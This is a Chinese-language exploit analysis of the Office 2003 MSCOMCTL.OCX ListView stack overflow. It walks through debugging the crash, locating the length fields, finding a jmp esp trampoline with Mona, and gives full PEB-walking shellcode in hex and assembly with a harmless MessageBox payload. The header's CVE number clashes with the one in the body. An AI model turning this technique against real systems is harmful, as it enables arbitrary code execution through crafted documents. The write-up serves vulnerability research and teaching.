软件名称:Office 2003
软件版本:11.5604.5606
漏洞模块:MSCOMCTL.OCX
模块版本:----
编译日期:2022-07-10
操作系统:Windows XP/2003/7/8.1/10
漏洞编号:CVE-2013-4730
危害等级:超危
漏洞类型:缓冲区溢出
威胁类型:本地
软件简介
Microsoft Office 2003 是微软公司针对 Windows操作系统所推出的办公室套装软件,于 2003 年 9 月 17 日推出,其前一代产品为 Office XP,后一代产品为 Office 2007。
漏洞成因
CVE-2012-0158漏洞是一个栈溢出漏洞,该漏洞是微软Office办公软件中的MSCOMCTL.ocx中MSCOMCTL.ListView控件时检查失误造成的,攻击者可以通过精心构造的数据控制程序EIP实现任意代码执行。
**1****、获取****poc**
网络,论坛,Metasploit
https://www.exploit-db.com/
https://www.securityfocus.com/
**2****、复现漏洞**
搭建漏洞环境,执行漏洞POC
安装office 2003 sp3
执行poc,word会直接崩溃,停止工作,如下图:
**3****、分析漏洞**
定位漏洞触发模块:
打开一个空白2003word文档,使用OD附加该文档(附加之前需要先对OD进行设置,取消对异常的忽略)
附加之后,将所有线程激活,断点禁止,然后让程序跑起来。使用刚才打开的word打开我们的poc文件:
打开文件之后,程序会在eip=41414141处断下,说明该位置就是溢出点。分析溢出点的附近堆栈,溢出点下面的堆栈一般是刚刚调用的函数的上一层函数堆栈,溢出后可能已经被破坏,溢出点上面的堆栈一般是刚刚执行的函数堆栈,在这里可以发现有一个地址275C8A0A,该地址是MSCOMCTL模块中的地址,因此可以判断刚刚执行的函数中执行了MSCOMCTL模块中的代码。
**定位漏洞函数:**
已经确定是在MSCOMCTL模块触发的漏洞,OD中定位到0x275C8A0A,我们在这个函数刚进来的地方0x275C89C7下断点,然后重新运行程序,观察0x1215EC上的返回地址是什么时候被填充为0x41414141的:
经过调试发现,当执行完0x275C8A05上的CALL指令之后,返回地址被填充成了41414141,所以可以确定是CALL 275C876D时出现了问题。使用IDA定位到MSCOMCTL.ocx中的275C876D函数
重新在OD中调试程序,观察275C876D的参数:
进入275C876D这个函数进行分析,找到具体哪个操作,覆盖了返回地址:
再使用IDA进行分析:
**分析漏洞成因:**
使用010Editor打开文件,查看数据,找到8282的位置:
这里找到了两个8282,我们猜测一个应该是dwBytes,一个是v17。随便修改其中一个为8382,再次动态调试进行测试,观察分析:
通过观察发现,函数内部读取的值变了,说明文件中第一个8282是参数中的长度,第二个8282是函数内读取的长度,两个长度都在文件中。经过分析之后,漏洞成因是在读取数据时,读取的长度和验证的长度都在文件中,所以可以自行构造,进而触发栈溢出。
利用过程
分析和设计shellcode的结构
在运行的程序中寻找跳板指令的地址
运行WinDBG开始调试后,输入以下命令开始使用Mona
.load pykd.pyd
!py mona
输入:!py mona mod,找到Rebase、SafeSEH、ASLR、NXCompata为False,而OS DLL为True的系统模块
找到了MSVBVM60.DLL符合条件,然后在这个模块中找 JMP ESP 的指令地址:
输入:!py mona findwild -s "jmp esp" -m msvbvm60.dll
找到一个0x729A0535得地址,而且权限是可读可执行,将这个地址替换掉溢出点的41414141,然后在该地址下断点,再进行测试:
发现能够断在这个地方,说明程序已经能够按照我们的意图进行执行,下面只需要在后面添加我们的shellcode就行了。
OD中选中对应的Shellcode,Shift+X 复制出,然后将其添加到poc的后面:
测试之后,成功弹出窗口:
PoC
Shellcode:
6083EC60EB4E47657450726F6341646472657373004C6F61644C696272617279457841005573657233322E646C6C004D657373616765426F7841004578697450726F636573730048656C6C6F20576F726C642100E8000000005B648B35300000008B760C8B761C8B368B56085352E8140000008BF0528D4BBC5152FFD05A53565052E86E000000558BEC83EC0C528B55088B723C8D34328B76788D34328B7E1C8D3C3A897DFC8B7E208D3C3A897DF88B7E248D3C3A897DF433C0EB01408B75F88B34868B55088D34328B5D0C8D7BADB90E000000FCF3A675E38B75F433FF668B3C468B55FC8B34BA8B55088D04325A8BE55DC20800558BEC83EC088B5D148D4BCB6A006A0051FF550C8D4BD65150FF55108945FC8D4BE251FF7508FF55108945F88D4BEE6A0051516A00FF55FC6A00FF55F88BE55DC21000
汇编代码:
__asm
{
PUSHAD;
SUB ESP, 0x60; //开辟栈空间
JMP tag_Shellcode; //前置代码,避免后面额数据被解释为指令
//[tag_next-0x53] "GetProcAddress"
_asm _emit(0x47) _asm _emit(0x65) _asm _emit(0x74) _asm _emit(0x50)
_asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63) _asm _emit(0x41)
_asm _emit(0x64) _asm _emit(0x64) _asm _emit(0x72) _asm _emit(0x65)
_asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)
//[tag_next-0x44] "LoadLibraryExA\0"
_asm _emit(0x4c) _asm _emit(0x6f) _asm _emit(0x61) _asm _emit(0x64)
_asm _emit(0x4c) _asm _emit(0x69) _asm _emit(0x62) _asm _emit(0x72)
_asm _emit(0x61) _asm _emit(0x72) _asm _emit(0x79) _asm _emit(0x45)
_asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)
//[tag_next-0x35] "User32.dll\0"
_asm _emit(0x55) _asm _emit(0x73) _asm _emit(0x65) _asm _emit(0x72)
_asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2e) _asm _emit(0x64)
_asm _emit(0x6c) _asm _emit(0x6c) _asm _emit(0x00)
//[tag_next-0x2A] "MessageBoxA\0"
_asm _emit(0x4d) _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73)
_asm _emit(0x61) _asm _emit(0x67) _asm _emit(0x65) _asm _emit(0x42)
_asm _emit(0x6f) _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)
//[tag_next-0x1E] "ExitProcess\0"
_asm _emit(0x45) _asm _emit(0x78) _asm _emit(0x69) _asm _emit(0x74)
_asm _emit(0x50) _asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63)
_asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)
//[tag_next-0x12] "Hello World!\0"
_asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6c) _asm _emit(0x6c)
_asm _emit(0x6f) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6f)
_asm _emit(0x72) _asm _emit(0x6c) _asm _emit(0x64) _asm _emit(0x21)
_asm _emit(0x00)
tag_Shellcode:
CALL tag_Next;
tag_Next:
pop ebx; //Next的地址
//获取关键模块基址
mov esi, dword ptr fs : [0x30] ; //esi = PEB的地址
mov esi, [esi + 0x0c]; //esi = 指向 _PEB_LDR_DATA结构的指针
mov esi, [esi + 0x1c]; //esi = 模块链表指针InInitializationOrderModuleList
mov esi, [esi]; //esi = 访问链表中的第二个条目
mov edx, [esi + 0x8]; //edx = kernel32.dll基址
//获取GetProcAddress的函数地址
//lea ebx,[ebx-0x52]
push ebx; //
push edx; //模块基址
CALL fun_GetProcAddress;
mov esi, eax; //返回GetProcAddress的函数地址
push edx;
//获取LoadLibraryExA的函数地址
lea ecx, [ebx - 0x44];
push ecx; //"LoadLibraryExA"
push edx; //模块基址:kernel32.dll
call eax; //CALL GetProcAddress
pop edx;
//设置payload
push ebx; //BaseAddr
push esi; //GetProcAddress的函数地址
push eax; //LoadLibraryExA的函数地址
push edx; //模块基址
call fun_Payload;
fun_GetProcAddress :
push ebp;
mov ebp, esp;
sub ESP, 0x0C;
push edx;
//获取EAT、ENT、EOT的地址
mov edx, [ebp + 0x08]; //Kernel32.dll
mov esi, [edx + 0x3C]; //IMAGE_DOS_HEADER.e_lfanew 文件偏移
lea esi, [edx + esi]; //NT头的 VA
mov esi, [esi + 0x78]; //IMAGE_DIRECTOTY_ENTRY_EXPORT.VirtualAddress
lea esi, [edx + esi]; //导出表VA
mov edi, [esi + 0x1C]; //EAT 的 RVA
lea edi, [edx + edi]; //EAT 的 VA
mov[ebp - 0x04], edi;
mov edi, [esi + 0x20]; //ENT 的 RVA
lea edi, [edx + edi]; //ENT 的 VA
mov[ebp - 0x08], edi;
mov edi, [esi + 0x24]; //EOT 的 RVA
lea edi, [edx + edi]; //EOT 的 VA
mov[ebp - 0xC], edi;
//循环对比ENT中的函数名
xor eax, eax;
jmp tag_FirstCmp;
tag_CmpFunNameLoop :
inc eax;
tag_FirstCmp :
mov esi, [ebp - 0x8]; //ENT 的 VA
mov esi, [esi + 4 * eax]; //函数名称的 RVA
mov edx, [ebp + 0x8]; //kernel32.dll的基址
lea esi, [edx + esi];
mov ebx, [ebp + 0xC]; //
lea edi, [ebx - 0x53]; //GetProcAddress的函数名地址
mov ecx, 0xE; //GetProcAddress 的长度
cld;
repe cmpsb;
jne tag_CmpFunNameLoop; //如果不相等就继续循环对比
//成功后找到对应的序号
mov esi, [ebp - 0xC]; //EOT 的 VA
xor edi, edi;
mov di, [esi + eax * 2]; // 用函数名数组下标在序号数组找到对应的序号
//使用序号作为索引,找到函数名对应的函数地址
mov edx, [ebp - 0x4]; //EAT 的 VA
mov esi, [edx + edi * 4]; //用序号在函数地址数组找到对应的函数地址
mov edx, [ebp + 0x8]; //kernel32.dll的基址
//返回获取到的关键函数地址
lea eax, [edx + esi]; //返回:GetProcAddress的函数地址
pop edx;
mov esp, ebp;
pop ebp;
retn 0x8;
fun_Payload:
push ebp;
mov ebp, esp;
sub esp, 0x08;
mov ebx, [ebp + 0x14]; //BaseAddr
//获取 MessageBoxA的函数地址
lea ecx, [ebx - 0x35]; //"USER32.DLL"
push 0;
push 0;
push ecx; //模块名地址
call[ebp + 0xC]; //LoadLibraryExA
lea ecx, [ebx - 0x2A]; // "MessageBoxA"
push ecx; //函数名地址
push eax; //user32.dll基址
call[ebp + 0x10]; //GetProcAddress
mov[ebp - 0x4], eax;
//获取ExitProcess函数的地址
lea ecx, [ebx - 0x1E]; //"ExitProcess"
push ecx;
push[ebp + 0x08]; //Kernel32.dll
call[ebp + 0x10];
mov[ebp - 0x08], eax;
lea ecx, [ebx - 0x12]; //"Hello World!\0"
push 0;
push ecx;
push ecx;
push 0;
call[ebp - 0x4]; //MessageBoxA
push 0;
call[ebp - 0x8]; //ExitProcess
mov esp, ebp;
pop ebp;
retn 0x10;
}
结语
该漏洞是读取长度和验证长度都在文件中,攻击者可以随便写长度,造成溢出,执行恶意代码。
Office漏洞大多是栈溢出漏洞,而栈溢出漏洞的关键点是栈中数据被覆盖,然后通过跳转指令跳到其他地方去执行。栈溢出覆盖是从上到下覆盖的,溢出点下面是上一层函数的堆栈,上面是刚刚执行的函数的堆栈。分析过程中,需要找出真正将栈中数据覆盖的操作,通过测试找到溢出点,最终找到漏洞触发的原因。
版权归原作者 K_BLACKHOLE 所有, 如有侵权,请联系我们删除。